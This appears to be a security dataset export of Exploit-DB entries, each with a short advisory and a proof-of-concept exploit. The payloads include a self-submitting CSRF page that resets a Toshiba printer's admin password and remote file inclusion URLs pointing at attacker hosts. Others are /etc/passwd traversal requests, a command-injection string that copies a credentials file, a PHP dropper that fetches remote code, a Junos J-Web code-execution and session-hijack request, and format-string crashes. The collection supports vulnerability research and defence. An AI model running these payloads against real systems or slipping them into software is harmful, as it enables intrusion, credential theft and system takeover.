QLWD/code_shield huggingface dataset:
标题: TOSHIBA e-Studio 232/233/282/283 - Cross-Site Request Forgery (Change Admin Password) EDB-ID: 29570 CVE: 2014-1990 类型: WEBAPPS 平台: HARDWARE 发布日期: 2013-11-13 漏洞利用脚本: # Exploit Title: TOSHIBA e-Studio 232/233/282/283 Change Admin Password CSRF Vulnerability
# Date: 02.10.2013
# Exploit Author: Hubert Gradek (PL)
# Affected version: firmware T377SY0EXXX
# Tested on: TOSHIBA e-Studio 232 (T377SY0E354) / 233 (T377SY0E331)
# CVE : No CVE exists - 0day exploit



Password must be minimum 6 digits!!!
login: Admin


EXPLOIT:

<html>
<body onload="javascript:document.forms[0].submit()">
<H2>TOSHIBA e-Studio 232/233/282/283 Change Admin Password</H2>
<form name="form0" action="http://[IP_ADDR]:8080/ADMIN/SETUP/Save" method="post">
<input type="hidden" name="MODE" value="General" />
<input type="hidden" name="EDTCHK" value="1" />
<input type="hidden" name="STRADMINPASS" value="331337" />
<input type="hidden" name="STRADMINPASSDUMMY" value="331337" />
<input type="hidden" name="STRCONADMINPASS" value="331337" />
</form>
</body>
</html> URL: https://www.exploit-db.com/exploits/29570
标题: MySQLNewsEngine - 'Affichearticles.php3' Remote File Inclusion EDB-ID: 29569 CVE: 2007-0828 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/22431/info

MySQLNewsEngine is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/affichearticles.php3?newsenginedir=[attacker] URL: https://www.exploit-db.com/exploits/29569
标题: PortailPHP 2 - '/mod_news/index.php?chemin' Traversal Arbitrary File Access EDB-ID: 29562 CVE: 2007-0821 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/22381/info

PortailPHP is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

PortailPHP 2 is vulnerable to these issues; other versions may also be affected. 

http://www.example.commod_news/index.php?chemin=../../../../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/29562
标题: PortailPHP 2 - '/mod_search/index.php?chemin' Remote File Inclusion EDB-ID: 29566 CVE: 2007-0820 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/22381/info
    
PortailPHP is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
    
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
    
PortailPHP 2 is vulnerable to these issues; other versions may also be affected.
 
http://www.example.commod_search/index.php?chemin=http://site.com/file.txt?%00 URL: https://www.exploit-db.com/exploits/29566
标题: Coppermine Photo Gallery 1.4.10 - Multiple Local/Remote File Inclusions EDB-ID: 29568 CVE: 2007-0836 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/22409/info

Coppermine Photo Gallery is prone to multiple remote and local file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary PHP code in the context of the webserver process. This may facilitate a remote compromise of the underlying system; other attacks are also possible.

http://www.example.com/bridge/enigma/E2_header.inc.php?boarddir=http://evil_scripts? URL: https://www.exploit-db.com/exploits/29568
标题: PortailPHP 2 - '/mod_news/index.php?chemin' Remote File Inclusion EDB-ID: 29564 CVE: 2007-0820 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/22381/info
  
PortailPHP is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
  
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
  
PortailPHP 2 is vulnerable to these issues; other versions may also be affected. 

http://www.example.com/mod_news/index.php?chemin=http://site.com/file.txt?%00 URL: https://www.exploit-db.com/exploits/29564
标题: PortailPHP 2 - '/mod_news/goodies.php?chemin' Remote File Inclusion EDB-ID: 29565 CVE: 2007-0820 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/22381/info
   
PortailPHP is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
   
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
   
PortailPHP 2 is vulnerable to these issues; other versions may also be affected. 

http://www.example.com/mod_news/goodies.php?chemin=http://site.com/file.txt?%00 URL: https://www.exploit-db.com/exploits/29565
标题: SYSCP 1.2.15 - System Control Panel CronJob Arbitrary Code Execution EDB-ID: 29571 CVE: 2007-0849 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/22453/info

SysCP is prone to an arbitrary code-execution vulnerability.

An attacker can exploit this issue to execute arbitrary commands with superuser privileges, resulting in the compromise of the computer.

NOTE: To exploit this issue, an attacker must have authenticated access to a customer control panel. 

"; cp /var/www/syscp/lib/userdata.inc.php /var/[user]/webs/web1/; ls " URL: https://www.exploit-db.com/exploits/29571
标题: PortailPHP 2 - '/mod_news/goodies.php?chemin' Traversal Arbitrary File Access EDB-ID: 29563 CVE: 2007-0821 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/22381/info
 
PortailPHP is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
 
PortailPHP 2 is vulnerable to these issues; other versions may also be affected. 


http://www.example.com/mod_news/goodies.php?chemin=../../../../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/29563
标题: eXtreme File Hosting - Arbitrary '.RAR' File Upload EDB-ID: 29574 CVE: 2007-0871 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/22498/info

eXtreme File Hosting is prone to an arbitrary file-upload vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue could allow an attacker to upload and execute arbitrary PHP script code in the context of the affected webserver process. This may help the attacker compromise the application; other attacks are possible. 

<?php
$file = 'http://sample.com/evile_file.php';
$newfile = 'evile_file.php';
if (!copy($file, $newfile)) {
   echo "failed to copy $file...\n";
}else{
   echo "OK file copy in victim host";
} URL: https://www.exploit-db.com/exploits/29574
标题: OpenEMR 2.8.2 - 'Login_Frame.php' Cross-Site Scripting EDB-ID: 29557 CVE: 2007-0649 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/22348/info

OpenEMR is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 2.8.2; other versions may also be vulnerable. 

http://www.example.com/openemr/interface/login/login_frame.php?rootdir=[XSS] URL: https://www.exploit-db.com/exploits/29557
标题: Apple Mac OSX 10.4.x - Help Viewer '.help' Filename Format String EDB-ID: 29553 CVE: 2007-0647 类型: DOS 平台: OSX 发布日期: 2007-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/22326/info
 
Multiple products for Mac OS X are prone to multiple remote format-string vulnerabilities. The affected applications include Help Viewer, Safari, iPhoto, and iMovie.
 
Exploiting these issues can allow attacker-supplied data to be written to arbitrary memory locations, which can facilitate the execution of arbitrary machine code with the privileges of a targeted application. Failed exploit attempts will likely crash the application.
 
Help Viewer 3.0.0, Safari 2.0.4, iMovie HD 6.0.3, and iPhoto 6.0.5 are reported affected; other versions may be vulnerable as well.
 
touch %n%n%n%n%n%n%n%n%n%n%n.help
open %n%n%n%n%n%n%n%n%n%n%n.help URL: https://www.exploit-db.com/exploits/29553
标题: Apple Mac OSX 10.4.x - iPhoto 'photo://' URL Handling Format String EDB-ID: 29554 CVE: 2007-0645 类型: DOS 平台: OSX 发布日期: 2007-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/22326/info
  
Multiple products for Mac OS X are prone to multiple remote format-string vulnerabilities. The affected applications include Help Viewer, Safari, iPhoto, and iMovie.
  
Exploiting these issues can allow attacker-supplied data to be written to arbitrary memory locations, which can facilitate the execution of arbitrary machine code with the privileges of a targeted application. Failed exploit attempts will likely crash the application.
  
Help Viewer 3.0.0, Safari 2.0.4, iMovie HD 6.0.3, and iPhoto 6.0.5 are reported affected; other versions may be vulnerable as well.
  
open 'photo://%25n%25n%25n%25n%25n%25n' URL: https://www.exploit-db.com/exploits/29554
标题: PHPProbid 5.24 - 'Lang.php' Remote File Inclusion EDB-ID: 29560 CVE: 2007-0758 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/22374/info

PHPProbid is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://example.com//lang.php?lang=<i*****%20height=1000%20width=1000%2 0src=http://Shell-Attack/> URL: https://www.exploit-db.com/exploits/29560
标题: Apple Mac OSX 10.4.x - Safari window.console.log Format String EDB-ID: 29555 CVE: 2007-0644 类型: DOS 平台: OSX 发布日期: 2007-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/22326/info
   
Multiple products for Mac OS X are prone to multiple remote format-string vulnerabilities. The affected applications include Help Viewer, Safari, iPhoto, and iMovie.
   
Exploiting these issues can allow attacker-supplied data to be written to arbitrary memory locations, which can facilitate the execution of arbitrary machine code with the privileges of a targeted application. Failed exploit attempts will likely crash the application.
   
Help Viewer 3.0.0, Safari 2.0.4, iMovie HD 6.0.3, and iPhoto 6.0.5 are reported affected; other versions may be vulnerable as well.
   
<script>
window.console.log('%n%n%nOh it takes a montage%n%n%n')
</script> URL: https://www.exploit-db.com/exploits/29555
标题: OpenEMR 2.8.2 - 'Import_XML.php' Remote File Inclusion EDB-ID: 29556 CVE: 2007-0649 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/22346/info

OpenEMR is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 2.8.2; other versions may also be vulnerable. 

http://www.example.com/openemr-2.8.2/custom/import_xml.php?srcdir=evilcode URL: https://www.exploit-db.com/exploits/29556
标题: Apple Mac OSX 10.4.x - iMovie HD '.imovieproj' Filename Format String EDB-ID: 29551 CVE: 2007-0646 类型: DOS 平台: OSX 发布日期: 2007-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/22326/info

Multiple products for Mac OS X are prone to multiple remote format-string vulnerabilities. The affected applications include Help Viewer, Safari, iPhoto, and iMovie.

Exploiting these issues can allow attacker-supplied data to be written to arbitrary memory locations, which can facilitate the execution of arbitrary machine code with the privileges of a targeted application. Failed exploit attempts will likely crash the application.

Help Viewer 3.0.0, Safari 2.0.4, iMovie HD 6.0.3, and iPhoto 6.0.5 are reported affected; other versions may be vulnerable as well. 

touch %n%n%n%n%n%n%n%n%n%n%n.imovieproj
open %n%n%n%n%n%n%n%n%n%n%n.imovieproj URL: https://www.exploit-db.com/exploits/29551
标题: EasyMoblog 0.5.1 - Multiple Input Validation Vulnerabilities EDB-ID: 29559 CVE: 2007-0759 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/22369/info

EasyMoblog is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, retrieve sensitive information, access or modify data, or exploit latent vulnerability in the underlying database implementation.

EasyMoblog version 0.5.1 is vulnerable; other versions may also be affected. 

To exploit an SQL-injection issue:

An attacker can exploit this issue via a web client.

The following proof-of-concept URIs are available:

http://www.example.com/easymoblog/add_comment.php?i='[SQL]
http://www.example.com/easymoblog/img.php?i='[XSS] URL: https://www.exploit-db.com/exploits/29559
标题: Telestream Flip4Mac - 'WMV' File Remote Memory Corruption EDB-ID: 29535 CVE: 2007-0466 类型: DOS 平台: OSX 发布日期: 2007-01-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/22286/info

Flip4Mac is prone to a remote memory-corruption vulnerability.

Flip4Mac is prone to a remote memory-corruption vulnerability because the application fails to properly handle malformed WMV files.

An attacker can exploit this issue to execute arbitrary code within the context of the application or to trigger a denial-of-service condition.

Flip4Mac Windows Media Components for QuickTime version 2.1.0.33 is reported vulnerable; other versions may be affected as well. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29535.wmv URL: https://www.exploit-db.com/exploits/29535
标题: EncapsCMS 0.3.6 - 'common_foot.php' Remote File Inclusion EDB-ID: 29539 CVE: 2007-0635 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/22319/info

EncapsCMS is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects EncapsCMS 0.3.6; other versions may also be vulnerable. 

http://www.example.com/encapscms-0.3.6/common_foot.php?config[path]=evilcode? URL: https://www.exploit-db.com/exploits/29539
标题: Microsoft Internet Explorer 5.0.1 - Multiple ActiveX Controls Denial of Service Vulnerabilities EDB-ID: 29536 CVE: 2007-0612 类型: DOS 平台: WINDOWS 发布日期: 2007-01-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/22288/info

Microsoft Internet Explorer is prone to multiple denial-of-service vulnerabilities because the application fails to handle exceptional conditions.

These issues are triggered when an attacker entices a victim user to visit a malicious website.

Remote attackers may exploit these issues to crash Internet Explorer, effectively denying service to legitimate users. 

<html>
<body>
  <script language="JavaScript">
    obj = new ActiveXObject("giffile");
    obj.bgColor;
  </script>
</body>
</html> URL: https://www.exploit-db.com/exploits/29536
标题: PHP Membership Manager 1.5 - 'admin.php' Cross-Site Scripting EDB-ID: 29529 CVE: 2007-0567 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/22263/info

PHP Membership Manager is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 1.5; other versions may also be affected. 

http://www.example.com/path/php_mm1.4/admin.php?_p=XSS=_approval_users URL: https://www.exploit-db.com/exploits/29529
标题: Apple Installer Package 2.1.5 - Filename Format String EDB-ID: 29532 CVE: 2007-0465 类型: DOS 平台: OSX 发布日期: 2007-01-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/22272/info

Apple Installer is prone to a format-string vulnerability because the application fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

A successful attack may crash the application or possibly allow the attacker to execute arbitrary code. This may facilitate unauthorized access or privilege escalation in the context of the user running the application.

Apple Installer Version 2.1.5 on Mac OS X 10.4.8 is vulnerable to this issue; other versions may also be affected. 

$ touch AAAA`ruby -e 'require "cgi"; print CGI::escape("\x9c\xe7\xff\xbf") + CGI::escape("%.20d") + CGI::escape("%x" * 20)'`%n.pkg
$ open AAAA%9C%E7%FF%BF%25.20d%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%n.pkg URL: https://www.exploit-db.com/exploits/29532
标题: Juniper Junos J-Web - Privilege Escalation EDB-ID: 29544 CVE: 2013-6618 类型: WEBAPPS 平台: PHP 发布日期: 2013-11-12 漏洞利用脚本: Sense of Security - Security Advisory - SOS-13-003 security advisory

Release Date.              10-Sep-2013
Last Update.               -              
Vendor Notification Date.  27-Sep-2012
Product.                   Juniper Junos J-Web 
Platform.                  Junos
Affected versions.         All builds prior to 2013-02-28 are affected
Severity Rating.           Medium
Impact.                    Privilege escalation
Attack Vector.             From remote with read-only authentication
Solution Status.           Vendor patch (not verified by SOS)
                           Disable J-Web or limit access
CVE reference.             CVE - not yet assigned

Details.
The J-Web is a GUI based network management application used on Junos 
devices. The web application is vulnerable to a remote code execution 
vulnerability which permits privilege escalation. The file/jsdm/ajax
/port.php allows execution of arbitrary user supplied PHP code via the
rs POST parameter. Code executes with UID=0 (root) privileges, however
you are confined to a chroot. Privilege escalation can be achieved by 
waiting for an administrator to log in and reading the contents of /tmp
to hijack their session.

Proof of Concept.
Code execution: Execute a command inside the Chroot: 
  POST /jsdm/ajax/port.php 
  rs=exec&rsargs[]=echo “hello” 

Privilege escalation: Read /tmp and hijack a session 
  POST /jsdm/ajax/port.php 
  rs=file_get_contents&rsargs[]=/tmp


Solution.
All Junos OS software releases built on or after 2013-02-28 have fixed
this specific issue. This fix has not been validated by SOS.
As a workaround disable J-Web, or limit access to only trusted hosts.
This issue is being tracked as PR 826518 and is visible on the Juniper
Customer Support website.


Discovered by.
Sense of Security Labs.


About us.
Sense of Security is a leading provider of information security and
risk management solutions. Our team has expert skills in assessment
and assurance, strategy and architecture, and deployment through to
ongoing management. We are Australia's premier application penetration
testing firm and trusted IT security advisor to many of the country's
largest organisations. URL: https://www.exploit-db.com/exploits/29544
标题: PHP 5.2 - FOpen 'Safe_mode' Restriction Bypass EDB-ID: 29528 CVE: 2007-0448 类型: LOCAL 平台: PHP 发布日期: 2007-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/22261/info

PHP is prone to a 'safe_mode' restriction-bypass vulnerability. Successful exploits could allow an attacker to write files in unauthorized locations; other attacks may also be possible.

This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code, all assuming that the 'safe_mode' restriction will isolate users from each other.

This issue is reported to affect PHP version 5.2.0; other versions may also be vulnerable. 

php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");' URL: https://www.exploit-db.com/exploits/29528
标题: MDPro 1.0.76 - 'index.php' SQL Injection EDB-ID: 29537 CVE: 2007-0623 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/22293/info

MDPro is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 1.0.76 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/index.php?module=News&startrow='[sql injection] URL: https://www.exploit-db.com/exploits/29537
标题: SpoonLabs Vivvo Article Management CMS 3.40 - 'Show_Webfeed.php' SQL Injection EDB-ID: 29534 CVE: 2007-0574 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/22282/info

Vivvo Article Management CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue affects version 3.40; other versions may also be vulnerable.

http://www.example.com/rss/show_webfeed.php?wcCategory=0&wcHeadlines=[SQL] URL: https://www.exploit-db.com/exploits/29534